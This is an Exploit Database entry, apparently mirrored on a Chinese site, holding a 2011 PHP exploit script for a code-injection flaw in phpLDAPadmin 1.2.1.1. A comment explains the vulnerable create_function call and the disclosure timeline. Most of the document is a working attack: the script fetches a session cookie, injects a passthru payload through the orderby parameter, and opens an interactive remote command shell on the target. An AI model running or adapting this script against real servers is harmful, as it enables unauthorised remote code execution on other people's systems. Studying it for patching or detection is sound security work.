phpLDAPadmin 1.2.1.1 – Remote PHP Code Injection (1)

• Exploit Database
• 16 阅读

• 作者： EgiX
  日期： 2011-10-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18021/

• <?php
  
  /*
  ------------------------------------------------------------------------
  phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection Exploit
  ------------------------------------------------------------------------
  
  author...............: EgiX
  mail.................: n0b0d13s[at]gmail[dot]com
  software link........: http://phpldapadmin.sourceforge.net/
  affected versions....: from 1.2.0 to 1.2.1.1
  
  +-------------------------------------------------------------------------+
  | This proof of concept code was written for educational purpose only.|
  | Use it at your own risk. Author will be not responsible for any damage. |
  +-------------------------------------------------------------------------+
  
  [-] vulnerable code in /lib/functions.php
  
  1002.function masort(&$data,$sortby,$rev=0) {
  1003.if (defined('DEBUG_ENABLED') && DEBUG_ENABLED && (($fargs=func_get_args())||$fargs='NOARGS'))
  1004.debug_log('Entered (%%)',1,0,__FILE__,__LINE__,__METHOD__,$fargs);
  1005.
  1006.# if the array to sort is null or empty
  1007.if (! $data) return;
  1008.
  1009.static $CACHE = array();
  1010.
  1011.if (empty($CACHE[$sortby])) {
  1012.$code = "\$c=0;\n";
  1013.
  1014.foreach (explode(',',$sortby) as $key) {
  1015.$code .= "if (is_object(\$a) || is_object(\$b)) {\n";
  1016.
  1017.$code .= "if (is_array(\$a->$key)) {\n";
  1018.$code .= "asort(\$a->$key);\n";
  1019.$code .= "\$aa = array_shift(\$a->$key);\n";
  
  ....
  
  1078.$code .= 'return $c;';
  1079.
  1080.$CACHE[$sortby] = create_function('$a, $b',$code);
  1081.}
  
  The $sortby parameter passed to 'masort' function isn't properly sanitized before being used in a call to create_function()
  at line 1080, this can be exploited to inject and execute arbitrary PHP code. The only possible attack vector is when handling
  the 'query_engine' command, here input passed through $_REQUEST['orderby'] is passed as $sortby parameter to 'masort' function.
  
  [-] Disclosure timeline:
  
  [30/09/2011] - Vulnerability discovered
  [02/10/2011] - Issue reported to http://sourceforge.net/support/tracker.php?aid=3417184
  [05/10/2011] - Fix committed: http://phpldapadmin.git.sourceforge.net/git/gitweb.cgi?p=phpldapadmin/phpldapadmin;h=76e6dad
  [23/10/2011] - Public disclosure
  
  */
  
  error_reporting(0);
  set_time_limit(0);
  ini_set("default_socket_timeout", 5);
  
  function http_send($host, $packet)
  {
  if (!($sock = fsockopen($host, 80)))
  die( "\n[-] No response from {$host}:80\n");
  
  fwrite($sock, $packet);
  return stream_get_contents($sock);
  }
  
  print "\n+-------------------------------------------------------------------+";
  print "\n| phpLDAPadmin <= 1.2.1.1 Remote PHP Code Injection Exploit by EgiX |";
  print "\n+-------------------------------------------------------------------+\n";
  
  if ($argc < 3)
  {
  print "\nUsage......: php $argv[0] <host> <path>\n";
  print "\nExample....: php $argv[0] localhost /";
  print "\nExample....: php $argv[0] localhost /phpldapadmin/htdocs/\n";
  die();
  }
  
  $host = $argv[1];
  $path = $argv[2];
  
  $packet= "GET {$path}index.php HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Connection: close\r\n\r\n";
  
  if (!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid)) die("\n[-] Session ID not found!\n");
  
  $phpcode = "foo));}}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;/*";
  $payload = "cmd=query_engine&query=none&search=1&orderby={$phpcode}";
  
  $packet= "POST {$path}cmd.php HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Cookie: {$sid[1]}\r\n";
  $packet .= "Cmd: %s\r\n";
  $packet .= "Content-Length: ".strlen($payload)."\r\n";
  $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  $packet .= "Connection: close\r\n\r\n{$payload}";
  
  while(1)
  {
  print "\nphpldapadmin-shell# ";
  if (($cmd = trim(fgets(STDIN))) == "exit") break;
  preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
  print $m[1] : die("\n[-] Exploit failed!\n");
  }
  
  ?>